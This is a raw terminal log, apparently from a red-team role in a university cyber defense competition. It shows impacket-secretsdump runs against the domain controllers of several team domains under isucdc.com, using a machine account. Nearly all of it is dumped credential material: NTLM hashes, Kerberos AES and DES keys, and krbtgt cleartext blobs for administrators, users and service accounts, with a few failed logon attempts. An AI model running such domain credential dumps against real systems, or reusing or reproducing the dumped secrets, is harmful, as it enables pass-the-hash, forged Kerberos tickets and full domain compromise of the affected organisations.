team6.isucdc.com\dylan.jenkins:des-cbc-md5:a454bc02f407f4ba
team6.isucdc.com\kyle.myers:aes256-cts-hmac-sha1-96:76ea3b21b3fe5bc9c362e746e3337f176089b53390574e056a89e7dabf709905
team6.isucdc.com\kyle.myers:aes128-cts-hmac-sha1-96:71535dd3ef70cbca1334e7361cb217c2
team6.isucdc.com\kyle.myers:des-cbc-md5:13a4e568ef5d37ae
team6.isucdc.com\zachary.wallace:aes256-cts-hmac-sha1-96:c021c46842cf92b2e24049127ef805a19f45164539d90a9e69310e5ed04d287b
team6.isucdc.com\zachary.wallace:aes128-cts-hmac-sha1-96:ed98b12bf510d6186d5dd2a633e1eb27
team6.isucdc.com\zachary.wallace:des-cbc-md5:8a75eaf23702850e
team6.isucdc.com\laura.johnson:aes256-cts-hmac-sha1-96:9a5a0f6143fae39adbfdc8806a40ecdad0f16fd5ee2c9a15d6bbdb379e604663
team6.isucdc.com\laura.johnson:aes128-cts-hmac-sha1-96:a20d9cf0098218c40ae591fee9de5327
team6.isucdc.com\laura.johnson:des-cbc-md5:f2f86e151cbcad75
team6.isucdc.com\amber.palmer:aes256-cts-hmac-sha1-96:923014a01c1462b96866dbd2e2ca9a6fb3396e08f702af32fb59e09a1b2c1864
team6.isucdc.com\amber.palmer:aes128-cts-hmac-sha1-96:e82717765107f968f39783543798f136
team6.isucdc.com\amber.palmer:des-cbc-md5:7af88a20bfaee351
team6.isucdc.com\kevin.holland:aes256-cts-hmac-sha1-96:4603952305f6c2cf8cb1a7ac56e55f2994fd13eed1b8248c96ff5c1a4df268a0
team6.isucdc.com\kevin.holland:aes128-cts-hmac-sha1-96:ea434c0decf795315e66bee5639de04b
team6.isucdc.com\kevin.holland:des-cbc-md5:5dcb2cd5c4ba831a
team6.isucdc.com\melissa.marshall:aes256-cts-hmac-sha1-96:48a5ea22966d4a2bb8517bd9b7cb3ac065614951cb74aa0bda6da677453b0b02
team6.isucdc.com\melissa.marshall:aes128-cts-hmac-sha1-96:905c1af974109d33bbd27b76fad89f38
team6.isucdc.com\melissa.marshall:des-cbc-md5:fe072cd5dcda38d9
team6.isucdc.com\tonya.rodriguez:aes256-cts-hmac-sha1-96:63035a19c415696f0981851dd46facf97ce7c75ea16689f8c6b4e71627a60c7d
team6.isucdc.com\tonya.rodriguez:aes128-cts-hmac-sha1-96:273f44fa30aa5afc583651c52d63e79c
team6.isucdc.com\tonya.rodriguez:des-cbc-md5:ad5b1f3b0885c82a
team6.isucdc.com\webad:aes256-cts-hmac-sha1-96:6da86f4d1f62003961834a1ce337d9524dbdd0302fbe43b26815e2c553f5da44
team6.isucdc.com\webad:aes128-cts-hmac-sha1-96:321953f9afa591d5359d76fabe5c8bb2
team6.isucdc.com\webad:des-cbc-md5:bfdc13c12349837f
AD$:aes256-cts-hmac-sha1-96:184135cd44c70ca0e43209cfe8892d6225c06a9a65c55f97a2eec0ea688cbad4
AD$:des-cbc-md5:3df2316491a85280
GIT$:aes256-cts-hmac-sha1-96:57d3b9e54f62567617fdd31ca65081691629a103cc38e02c7c26d4848742b9ee
GIT$:aes128-cts-hmac-sha1-96:527c628d702734f4166f4829646fadd2
GIT$:des-cbc-md5:b0b6736880ef768f
ENV$:aes256-cts-hmac-sha1-96:991fab7129f2a1c757afd0ce884478a1ff6f0616a104abafd17560bd0f908dca
ENV$:aes128-cts-hmac-sha1-96:a530b3bc6bc2cbd82f23a20495519103
ENV$:des-cbc-md5:abab1c3738e05802
CODE$:aes256-cts-hmac-sha1-96:1c7b7e775b5df1a3492b01c0cb29cd51be3ffcdab972b5dd8f5ecb92167b7431
CODE$:aes128-cts-hmac-sha1-96:98b02a46261f158ba14b9056351273f1
CODE$:des-cbc-md5:ea0b7af2fd071c5b
IRC$:aes256-cts-hmac-sha1-96:b0909921b0c6b92dd82449c5327618858e9b9f1356c837061d6050b95267d268
IRC$:aes128-cts-hmac-sha1-96:a8f854981f069f12d7af31dbdf6fbefc
IRC$:des-cbc-md5:734a573bbc08da49
WWW$:aes256-cts-hmac-sha1-96:028d1ba0d480d7cfceb47efe74ff8d236a9bef7a4a7f468ae847e790309a55f8
WWW$:aes128-cts-hmac-sha1-96:5eeef4f09c91032d0e139f9738633552
WWW$:des-cbc-md5:cb7cad31d5f87994
[*] ClearText passwords grabbed
krbtgt:CLEARTEXT:0x8034ea474fc5c1c1fd80e5fa812bf42497fcdeb76cfc0683d1db94638fc79cdaf431d5a97cdc79e17877a48c16858e6bc0582c5ea0eb3e40bb48b5f1b719f85e72249686af76176d0a5e848a3768fcc2ca5c9b8efbb0d5c13ad57382a45fbb7c863fbcde65e32b3511edd07af32010db6a5c8476fe6c20b50ed4ea0dc5ec9f734b6402bdc9cb05f4aa1e83ea8d216f4dc8232b66ba962bae2527ce3aba780ead1e2a22019d2bfce376130be9f9a9d99387a2bae0bb088188545a309832481d3258eec5b3df39fc0b7aa39e4a2aa19ff25185ba993eb2cf17404886d6fed259f117e883dbe84793dde5c141b124a6da1d7012679af9c68b2b0c13bd19f6c30aca6c42fd3820d2b2eadba3b5e999cb95d87fc686443ce37d7e31353f4ac15730a1a1034b3474ac9b7beab071f350ba9fda5914b01bd28298c80d6405d134dcc408eeef547b21b32cb8bd69d09b99e712b61e0850987bd4311845e0fdb2231997af8b1f17d5ab936522821827e16170fde514a75532974b16212e9050c5c41633b7fb7dc859827dc44c6b7bb945b2ad57912ee259cd2d3e13b89526f53d109283d492ff8eab53fd363f1cb90d55d939680b0d7e3874c4f99cb758aa771979b37dd6bbec6854ded967e6c7c7248c5bc1b5b28bbc129db6e2f5570a9221396d7e1ce0267f63cebab51aa337c420dbb06dd2aadd3e1a0a97ae06a19679c54a4d4f7bd1
[*] Cleaning up...
┌──(krbtgt㉿think)-[~]
└─$ impacket-secretsdump 'AD$'@ad.team7.isucdc.com
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[-] RemoteOperations failed: SMB SessionError: code: 0xc000006d - STATUS_LOGON_FAILURE - The attempted logon is invalid. This is either due to a bad username or authentication information.
[*] Cleaning up...
┌──(krbtgt㉿think)-[~]
└─$ impacket-secretsdump 'AD$'@ad.team7.isucdc.com
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c13dbd58f9c2ae23e66d0dc89418d078:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:86ba043cd080468dc6a6fd9dc74151fa:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
cdc:1001:aad3b435b51404eeaad3b435b51404ee:6aa15b3d14492d3fa4aa7c5e9cdc0e6a:::
team7.isucdc.com\jessica.butler:1618:aad3b435b51404eeaad3b435b51404ee:424c5799681ef4de8336fba807ea4a57:::
team7.isucdc.com\frederick.massey:1619:aad3b435b51404eeaad3b435b51404ee:469fa022c2b0dd5badb054509d24b344:::
team7.isucdc.com\trevor.benson:1620:aad3b435b51404eeaad3b435b51404ee:186dd8689a3c3217bd39f9cc95241f5b:::
team7.isucdc.com\dylan.jenkins:1621:aad3b435b51404eeaad3b435b51404ee:6e46f948f8a0b704a4c065f97467f057:::
team7.isucdc.com\kyle.myers:1622:aad3b435b51404eeaad3b435b51404ee:c1f2d2008bc66a5870a85af1709ab5b1:::
team7.isucdc.com\zachary.wallace:1623:aad3b435b51404eeaad3b435b51404ee:7962669e5d3b89766ab54dc49f991bb0:::
team7.isucdc.com\laura.johnson:1624:aad3b435b51404eeaad3b435b51404ee:1b68b50cfa240646815da34b28091c02:::
team7.isucdc.com\amber.palmer:1625:aad3b435b51404eeaad3b435b51404ee:d427c10b30c0e0605a844d2ae2ba8246:::
team7.isucdc.com\kevin.holland:1626:aad3b435b51404eeaad3b435b51404ee:48d27d11d9c654e7f44ad1341f9747e2:::
team7.isucdc.com\melissa.marshall:1627:aad3b435b51404eeaad3b435b51404ee:552c66047e45aa9141689e232efd4dd7:::
team7.isucdc.com\tonya.rodriguez:1628:aad3b435b51404eeaad3b435b51404ee:15a64666c1c43e3ef60da783bfefb3ff:::
team7.isucdc.com\ldap_service_user:1629:aad3b435b51404eeaad3b435b51404ee:4b6a0952fbf6275df3d45a60f17a02c1:::
AD$:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
GIT$:1106:aad3b435b51404eeaad3b435b51404ee:ad5faf8506b4399c1128ccde599ebb96:::
ENV$:1107:aad3b435b51404eeaad3b435b51404ee:6cc08e852a1060a11946250206e3bc1f:::
CODE$:1108:aad3b435b51404eeaad3b435b51404ee:1290edeb1d467c4539af81d404163ddf:::
IRC$:1109:aad3b435b51404eeaad3b435b51404ee:0928f156e1a5532e1bccec2af0e31df8:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:a01c2b2aa411d175cd0df020ded032235f5d61fba8d1495bf5b08cf26306ef89
Administrator:aes128-cts-hmac-sha1-96:cdea0b893fb12ed39a06413db5994949
Administrator:des-cbc-md5:f1b01ccb52c19d76
krbtgt:aes256-cts-hmac-sha1-96:48ab6e4401838e9a9dfda4c1835134188918ebbdfad67357d6588916576510e1
krbtgt:aes128-cts-hmac-sha1-96:13289e3413d46058d937983c7586d18d
krbtgt:des-cbc-md5:4c4cc485cd5732f7
team7.isucdc.com\jessica.butler:aes256-cts-hmac-sha1-96:f0a932a19f7f5e26d817bff33b05ad55aaecd46523b7e14dc6a943d8f4a93f7a
team7.isucdc.com\jessica.butler:aes128-cts-hmac-sha1-96:b201b9c6951d8f40a4b4a95b4a02980d
team7.isucdc.com\jessica.butler:des-cbc-md5:25fd4679762cb5bf
team7.isucdc.com\frederick.massey:aes256-cts-hmac-sha1-96:5b02f3ca72cbafbb0a16916e8d7d6c8ee93357839866aa3636bc53eeb2e02a79
team7.isucdc.com\frederick.massey:aes128-cts-hmac-sha1-96:fd287e1731872db541bf06fc97327dfa
team7.isucdc.com\frederick.massey:des-cbc-md5:d3796dba8c8992f8
team7.isucdc.com\trevor.benson:aes256-cts-hmac-sha1-96:bf8dc627f83720f35e5cd4b220c707db9b001d8cccca633ba7987727e9d9c844
team7.isucdc.com\trevor.benson:aes128-cts-hmac-sha1-96:991db6c1af6fb65883d06abb28571f33
team7.isucdc.com\trevor.benson:des-cbc-md5:04dcec374ad6400d
team7.isucdc.com\dylan.jenkins:aes256-cts-hmac-sha1-96:eba0f2a039f20f9117e2670b6b22d80dd7b6cf50071777efaeaa760a8f362a18
team7.isucdc.com\dylan.jenkins:aes128-cts-hmac-sha1-96:5d39ed9403f8e23070b41cdd63682a2d
team7.isucdc.com\dylan.jenkins:des-cbc-md5:1c4a5b9de3b6bfa2
team7.isucdc.com\kyle.myers:aes256-cts-hmac-sha1-96:07767c20840d866753695d43a6e760917a4bf5063779da118874c238c07ad698
team7.isucdc.com\kyle.myers:aes128-cts-hmac-sha1-96:bf3023c221ee9a5d8c9b1d6d270f2cbf
team7.isucdc.com\kyle.myers:des-cbc-md5:bc200b2a25c29b0d
team7.isucdc.com\zachary.wallace:aes256-cts-hmac-sha1-96:eae912c9b2c903c0a4649d43bc4fd5a13b5e242a24e1273afb759c927603932d
team7.isucdc.com\zachary.wallace:aes128-cts-hmac-sha1-96:735c2f80c33743389ed0ab94d886e36b
team7.isucdc.com\zachary.wallace:des-cbc-md5:e915bf431538297a
team7.isucdc.com\laura.johnson:aes256-cts-hmac-sha1-96:9acc3e54c59f9aa1b9f93244aa3a2269d6dece44dd2730fb7bb2301c298f5fb9
team7.isucdc.com\laura.johnson:aes128-cts-hmac-sha1-96:69e6ed727adc8db38a8a79573c064961
team7.isucdc.com\laura.johnson:des-cbc-md5:54a232d09819feda
team7.isucdc.com\amber.palmer:aes256-cts-hmac-sha1-96:5cde5ea6f851643860f7369e1c955b35962137a27465221eb3e9db23f8e53894
team7.isucdc.com\amber.palmer:aes128-cts-hmac-sha1-96:e59fdf95dad4667e26c9849c97dc39af
team7.isucdc.com\amber.palmer:des-cbc-md5:585e012315dc3e9d
team7.isucdc.com\kevin.holland:aes256-cts-hmac-sha1-96:7cdc77512fa978026af9caceddf95f6ac92971da766fb047f2d44829507e5408
team7.isucdc.com\kevin.holland:aes128-cts-hmac-sha1-96:4d28d0b685db94c5adc05d51d269ad09
team7.isucdc.com\kevin.holland:des-cbc-md5:da54804c3b0d6158
team7.isucdc.com\melissa.marshall:aes256-cts-hmac-sha1-96:225a47b5cc2ac3d868ccd37f8c889af75ccb5ae8ebd0d1d61f6b83896a362147
team7.isucdc.com\melissa.marshall:aes128-cts-hmac-sha1-96:48fae730074f7add2ddb7f24efcacc07
team7.isucdc.com\melissa.marshall:des-cbc-md5:b6b9f76194d37a07
team7.isucdc.com\tonya.rodriguez:aes256-cts-hmac-sha1-96:c354e0b514eac04a40179549298fe61f9a262b08d8cdde6a6b97761bba402ffe
team7.isucdc.com\tonya.rodriguez:aes128-cts-hmac-sha1-96:5a6383318804bdc8a8dac69290c72a47
team7.isucdc.com\tonya.rodriguez:des-cbc-md5:044515ba919129e5
team7.isucdc.com\ldap_service_user:aes256-cts-hmac-sha1-96:4d253466c45edb9abf6cea9606ee6ee12955ad16de2da7dcf05611166b66c95d
team7.isucdc.com\ldap_service_user:aes128-cts-hmac-sha1-96:8fae3380d987c9c9ddf86bcb95a4cd9f
team7.isucdc.com\ldap_service_user:des-cbc-md5:c2ecadf8bc490ef4
AD$:aes256-cts-hmac-sha1-96:749e573eb085e9cb4de796c20940ad1edf1cf719a7f7dd541014ad049cea0fab
AD$:aes128-cts-hmac-sha1-96:00b022520e2a74d84af46595e6db78f5
AD$:des-cbc-md5:7a9e8908e54f94d5
GIT$:aes256-cts-hmac-sha1-96:c4590c752a38b35f00b228db3e491d67651a52ef71ab74921d4502090b838af4
GIT$:aes128-cts-hmac-sha1-96:de8767ba0160b3d10f790c7c0a3d6213
GIT$:des-cbc-md5:9eefab4fc137546d
ENV$:aes256-cts-hmac-sha1-96:b2d1d6fa18bb0d94c00abb81a87f5bcb4a94cfc5735c99d46e16e49a9194ad24
ENV$:aes128-cts-hmac-sha1-96:2e7642d94929bf3cc6d167cb362bb3b2
ENV$:des-cbc-md5:d3f80badea2ae504
CODE$:aes256-cts-hmac-sha1-96:3fc0ab0bfad9002e82f6f0b969c5a9ea16f46f61b16363feb605f25aba2696f7
CODE$:aes128-cts-hmac-sha1-96:60142f6547c1268a8f473f764e57abce
CODE$:des-cbc-md5:049d2fd5a8f8a879
IRC$:aes256-cts-hmac-sha1-96:20067db694f082b5e81d7409bbf813920bdb681cd00c00a88866255a1065da51
IRC$:aes128-cts-hmac-sha1-96:18d721a80e67eaba3c1f0b3f3934d257
IRC$:des-cbc-md5:73c858f4d634f275
[*] ClearText passwords grabbed
krbtgt:CLEARTEXT:0x65a3306df87c986ebc5357726e148b528d5f4d2d5ef32d9ed015ba851a41ebc2b5f7015a0bf0fdfaf44e2fa74cbf6fc18c7b4204c32879a0ce283741e87aa6973fb9f6465169037f15c342396ebb9f9e7a1e891cac105d2de98dcb196c7fdde031f7f6c05e5d420da387c51cbb61462c06d3a074dc894bb57444137a7d26a65af498e6d007fb20ae00723a4858907d7d8f7eec1875464c6d01f92ea88b911c9ab60672fecc0c36e694993fbc9aaa3a37f8fd59691d9faa4052155e1afd7ea541dfd6db4b4cdf05b4304a7c4b94655482dd204e9cf391efcb6b35635bbb71a0af707fa305065f40d58afe1181642a3fcd53a038c7617c01f9dc7377d73b1957d8034703a60a29e95745a15a76af5769dde3104f2589c80d2dde89b62b0785fe5fdf65235017f5df3867f1640b6eb529ab172a85410e33440e2332fab3c84c743c97d5c13cd17164e47015b45d82450b9f81c6083b8cb2b9ba2ef57f1be1e1fc43e9f326459e7ea5fdae7382d40b2cb90425c408be0191d35eb02c1ac88fa8ee471080b86b8a868bf18e55dada3de0710baf8a24667c0585cb85970f82c02e662016e86207aa16014d474058cf9bbc865ade71fb5fdaac7f2dade5efed49ebe162c351503fbb865ec10e16420636300985f74f20d5c746444015b8b470df1881f7f25dac79ac3b3cc3b5562aa4d9587850c9669505873e033d6ee8595ab00ca6de
[*] Cleaning up...
┌──(krbtgt㉿think)-[~]
└─$ impacket-secretsdump 'AD$'@ad.team10.isucdc.com
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:684ae0f933d2d14dfe5df0a3d6fb3654:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0411895142982eeadd0af0e177958968:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
cdc:1001:aad3b435b51404eeaad3b435b51404ee:005951cab9db2d56042cce0abab1eb4f:::
team10.isucdc.com\jessica.butler:1121:aad3b435b51404eeaad3b435b51404ee:4c1a0a1a0b54570d11d05041604cd807:::
team10.isucdc.com\frederick.massey:1122:aad3b435b51404eeaad3b435b51404ee:01749def0849f31d734f386fc191f2ac:::
team10.isucdc.com\trevor.benson:1123:aad3b435b51404eeaad3b435b51404ee:7b3211b4c8fdd7f5e64d12ef1d546fbb:::
team10.isucdc.com\dylan.jenkins:1124:aad3b435b51404eeaad3b435b51404ee:d50caae3ff6142e90c38bdf5fa9f2e17:::
team10.isucdc.com\kyle.myers:1125:aad3b435b51404eeaad3b435b51404ee:e9045b6b28c39a189329d6844e613088:::
team10.isucdc.com\zachary.wallace:1126:aad3b435b51404eeaad3b435b51404ee:b8ff53fb356fd81619be0edca3e764f7:::
team10.isucdc.com\laura.johnson:1127:aad3b435b51404eeaad3b435b51404ee:cb10f1031728488c4f400db8b6080304:::
team10.isucdc.com\amber.palmer:1128:aad3b435b51404eeaad3b435b51404ee:d427c10b30c0e0605a844d2ae2ba8246:::
team10.isucdc.com\kevin.holland:1129:aad3b435b51404eeaad3b435b51404ee:48d27d11d9c654e7f44ad1341f9747e2:::
team10.isucdc.com\melissa.marshall:1130:aad3b435b51404eeaad3b435b51404ee:c44d26affa3639f7b9eecf50c2c368fa:::
team10.isucdc.com\tonya.rodriguez:1131:aad3b435b51404eeaad3b435b51404ee:15a64666c1c43e3ef60da783bfefb3ff:::
AD$:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ENV$:1107:aad3b435b51404eeaad3b435b51404ee:f3034aa0b33a85c1a5bce47e79508299:::
CODE$:1108:aad3b435b51404eeaad3b435b51404ee:fe284e75118a7f3a692aad6000edbe59:::
IRC$:1109:aad3b435b51404eeaad3b435b51404ee:bc12a580095045261abe29400f2b0f54:::
GIT$:1110:aad3b435b51404eeaad3b435b51404ee:fa2bb270efb8dfa17b309f51e37575b7:::
CDC$:1120:aad3b435b51404eeaad3b435b51404ee:e78261ffd0d43f10ab1e37010d301d05:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:4b325c5ff0df134de140697e1e57d141bf67f0b697ca2754e6a4aef63a6da65d
Administrator:aes128-cts-hmac-sha1-96:722494c99da245b42ebc75638e58141c
Administrator:des-cbc-md5:836ba2feabc83123
krbtgt:aes256-cts-hmac-sha1-96:eb62664a042bec9345ee0e1eed7d748192fa6dd2234474e3e77596c0a9b825f6
krbtgt:aes128-cts-hmac-sha1-96:fadf2fa22e66ec2ab15fa210229858ea
krbtgt:des-cbc-md5:a82fc4bf463e31bc
cdc:aes256-cts-hmac-sha1-96:eee44c1a963cfbe65050f0bb9c914fee2c228469af6f10473e4b60c45136e23c
cdc:aes128-cts-hmac-sha1-96:986e1edea19b246d335f4d31a65197aa
cdc:des-cbc-md5:58e3aeb0fdec4567
team10.isucdc.com\jessica.butler:aes256-cts-hmac-sha1-96:e49926f69b91db275b5fbdc492c4fc5ea4c3c2d1a780a23d4f4e4dff6b6f75cb
team10.isucdc.com\jessica.butler:aes128-cts-hmac-sha1-96:7769795bf9f274d6e0e54726c96626c0
team10.isucdc.com\jessica.butler:des-cbc-md5:088ca17c979702e3
team10.isucdc.com\frederick.massey:aes256-cts-hmac-sha1-96:04d118cb9c0ffdab5ebe27a40cbe7fc3079ce325b1ea5615e0c0fe050e63fe8d
team10.isucdc.com\frederick.massey:aes128-cts-hmac-sha1-96:cbae301da41c0205a1549988e1cf5542
team10.isucdc.com\frederick.massey:des-cbc-md5:a145b0ae3d0de0f4
team10.isucdc.com\trevor.benson:aes256-cts-hmac-sha1-96:798f32468c4fe99a54602b21ed092f299217e148a36e2daaa3dc0b3fcbcb6e39
team10.isucdc.com\trevor.benson:aes128-cts-hmac-sha1-96:76afef099e5ef9721a82cda2a811cb90
team10.isucdc.com\trevor.benson:des-cbc-md5:f82602973b49d945
team10.isucdc.com\dylan.jenkins:aes256-cts-hmac-sha1-96:5d861042c1f5f048a55bf95649474b2aa5e6031a8ced3db6b0b0e229f6fa4b96
team10.isucdc.com\dylan.jenkins:aes128-cts-hmac-sha1-96:b42841a0c4c8be219465008842ae9687
team10.isucdc.com\dylan.jenkins:des-cbc-md5:ea80454368a8ecdf
team10.isucdc.com\kyle.myers:aes256-cts-hmac-sha1-96:ffd781757ba0e0405cd2c986d89b9c718c30e30db973c0a7ef73d98b71dd10a3
team10.isucdc.com\kyle.myers:aes128-cts-hmac-sha1-96:ac6c3c91812bfe6226ce9dcfa2f4b104
team10.isucdc.com\kyle.myers:des-cbc-md5:2952b3e38f0832a1
team10.isucdc.com\zachary.wallace:aes256-cts-hmac-sha1-96:dde8711375860340630cb1e0a80e5f0d95a17f3907c54cba1d2962fbcb483506
team10.isucdc.com\zachary.wallace:aes128-cts-hmac-sha1-96:c15d3c0af3c0d115b9005c7a332eb436
team10.isucdc.com\zachary.wallace:des-cbc-md5:49dfb30119979ec8
team10.isucdc.com\laura.johnson:aes256-cts-hmac-sha1-96:30d23f03851119098d5fef52e1cdc3567c6d4278be87217ef3a191325f62cdd0
team10.isucdc.com\laura.johnson:aes128-cts-hmac-sha1-96:5d9fb38e38356062b298e0b8b92b0a80
team10.isucdc.com\laura.johnson:des-cbc-md5:fb7368eac20808bf
team10.isucdc.com\amber.palmer:aes256-cts-hmac-sha1-96:24f70a017d77afbeaaa3be217453ac8db3b689010697c4a1c9dbda4b03361fa0
team10.isucdc.com\amber.palmer:aes128-cts-hmac-sha1-96:55b63fbe6b2fd2674d274acbaa9031f4
team10.isucdc.com\amber.palmer:des-cbc-md5:1032198f2f94ad02
team10.isucdc.com\kevin.holland:aes256-cts-hmac-sha1-96:86b92a233ff11cad273a8b42c041a626469b4ef2b762dad59ecb04718f7f50d0
team10.isucdc.com\kevin.holland:aes128-cts-hmac-sha1-96:32b337ea72f311cac1d6147835dcaabf
team10.isucdc.com\kevin.holland:des-cbc-md5:92abc77fefcd585e
team10.isucdc.com\melissa.marshall:aes256-cts-hmac-sha1-96:30fd77f0bfe0f672de3f0ac398a8aaabcfed07fcb1ed9fb4f94c66da133b0478
team10.isucdc.com\melissa.marshall:aes128-cts-hmac-sha1-96:9f0fa70abf428a3b58308bb39f39fec0
team10.isucdc.com\melissa.marshall:des-cbc-md5:7fbfdf1508fe010e
team10.isucdc.com\tonya.rodriguez:aes256-cts-hmac-sha1-96:3bb741d13abd50dd54dcd84ef814462596788b34b00b09ad7faba0f85c84c5e9
team10.isucdc.com\tonya.rodriguez:aes128-cts-hmac-sha1-96:6b856a8161b72ed2675281653a45f1ec
team10.isucdc.com\tonya.rodriguez:des-cbc-md5:e016a87f3b6bfd1c
AD$:aes256-cts-hmac-sha1-96:ee2a6195d9b715dcb7a4ec902e3841c953da0eb5e9bfd2a52a64f4f5781122fd
AD$:aes128-cts-hmac-sha1-96:4ac5096de1284b7f6c9af35317e6535e
AD$:des-cbc-md5:dc45a1460df8766d
ENV$:aes256-cts-hmac-sha1-96:80f8a3782ea1b706631c98ddefcbf82b5e706ccdf83a14061b223cfefa98cac2
ENV$:aes128-cts-hmac-sha1-96:29fc844023a2edea3111c60ae190d4a3
ENV$:des-cbc-md5:800dc43e97807a51
CODE$:aes256-cts-hmac-sha1-96:f5ec7676c793740350ccbf81d63e5e9caf60b5ff4abcc23675b45b3500789773
CODE$:aes128-cts-hmac-sha1-96:16a66303f7e417e61f1cd5e08fe2c50b
CODE$:des-cbc-md5:c21a687aab07087f
IRC$:aes256-cts-hmac-sha1-96:a3c845d601a2666e7939413b3d34c7f40b1fec6d3978e65bfe4c9b1ac9eaff3d
IRC$:aes128-cts-hmac-sha1-96:d5c0e4469160305c85792d48ef2049a2
IRC$:des-cbc-md5:1f34adcdc46d4649
GIT$:aes256-cts-hmac-sha1-96:6726c72d61bd516db1ab4c4ea7508a518d194fc2a2b210a94fafc266060f7223
GIT$:aes128-cts-hmac-sha1-96:6ea23528cc5487a673f1bb205dffc22f
GIT$:des-cbc-md5:fb988c45256ef74a
CDC$:aes256-cts-hmac-sha1-96:8e629662aec0aea37c7cb3856e10183fb805b8feb594e1aa014be265b4a15020
CDC$:aes128-cts-hmac-sha1-96:dbb85498c47e039a159f0544ba44cf3f
CDC$:des-cbc-md5:a2b3c75ea7da0879
[*] ClearText passwords grabbed
krbtgt:CLEARTEXT:0x3bb57a6d12805a6662be7913090346868e2b9fcb478ca78679bb54054495019e2bff821b4a1ac82f147085f34650ef02b03278721de4e53628d9f8304e7c51697a100f8dc14a2c5fe95021ca18a9cf52743c13a6e52a2d79aaccf354de4122cba8eb5e3083a2e80af00a65ffd2fb827f1c37636963fd236d1dca5f5e6f05822b616d5bdb43266c198f064761c099fb3a492aac6d8289666202a84ea60c792bb55fc71fd806778b6563db8c5c12d5661b54ebd8f1882d7b5f4bd5d3b0223ba25d077bda6305e1019d84ad5247dbd84ea30c5b7667138aad8d057cd7350250fa869b487ccefa211ac07527c82442b26882c6bde52f9c0b8d7e06ed3a50cacc76d61365e04e5b7f67dd9a261e09c4a4f5a2ba34ca507cac74941482b5db00b35217d1fb2cb33fbc16405ed9c774a8a571479c1c987d4855d901266093f253394c37080454ea7ce0b7eb374b42afa098785e718b896212e762cd0621db9af847ed535af6bde484b61c0791a83dc1d1bdafd597c2a01377db600a8298c50d16fd2a2d346efd8c5a3687e6a1ea16ddf274c6ccae57c4e7ae994852943ddd16c110fdc9e4e667820aa0bc566e1ee61c1ff12db1acd99dba63f2d37e2c57f9edf6445a7ae528b6f74675ab5c01d3f174a509014f684e27d00055e8f324de378573ef5b82510090f0e867bfa2acd44dd20d0bb3f6771aedb7e447f294700f3eca0c154f22
[*] Cleaning up...
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:84d80e2513bf6635b1e270b8ba760b5c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fd1bd6ceeaeab249dbf85fd499502314:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
team4.isucdc.com\jessica.butler:1120:aad3b435b51404eeaad3b435b51404ee:c66eaa3dbc59379690507d6d8d85f265:::
team4.isucdc.com\frederick.massey:1121:aad3b435b51404eeaad3b435b51404ee:f5a52339c8b2f9cb2d37a4446da14851:::
team4.isucdc.com\trevor.benson:1122:aad3b435b51404eeaad3b435b51404ee:f5a52339c8b2f9cb2d37a4446da14851:::
team4.isucdc.com\dylan.jenkins:1123:aad3b435b51404eeaad3b435b51404ee:cb139a0c263c24f8285ad2ce20ab160b:::
team4.isucdc.com\kyle.myers:1124:aad3b435b51404eeaad3b435b51404ee:5e250150bf1492af695cc2a03144ab04:::
team4.isucdc.com\laura.johnson:1126:aad3b435b51404eeaad3b435b51404ee:b2553b46b09ef9811d6aadd2230cdef7:::
team4.isucdc.com\zachary.wallace:1127:aad3b435b51404eeaad3b435b51404ee:9970c7c385785a06503482ed47c06d1b:::
team4.isucdc.com\amber.palmer:1128:aad3b435b51404eeaad3b435b51404ee:d427c10b30c0e0605a844d2ae2ba8246:::
team4.isucdc.com\kevin.holland:1129:aad3b435b51404eeaad3b435b51404ee:48d27d11d9c654e7f44ad1341f9747e2:::
team4.isucdc.com\melissa.marshall:1130:aad3b435b51404eeaad3b435b51404ee:c44d26affa3639f7b9eecf50c2c368fa:::
team4.isucdc.com\Tonya.rodriguez:1131:aad3b435b51404eeaad3b435b51404ee:15a64666c1c43e3ef60da783bfefb3ff:::
AD$:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
GIT$:1106:aad3b435b51404eeaad3b435b51404ee:2a32489db4a74b04655060db7b40eaed:::
ENV$:1107:aad3b435b51404eeaad3b435b51404ee:8e7927ecf61b1e6cee05fad500c35551:::
IRC$:1109:aad3b435b51404eeaad3b435b51404ee:c6c0053f007b06c249c032ab0e45e442:::
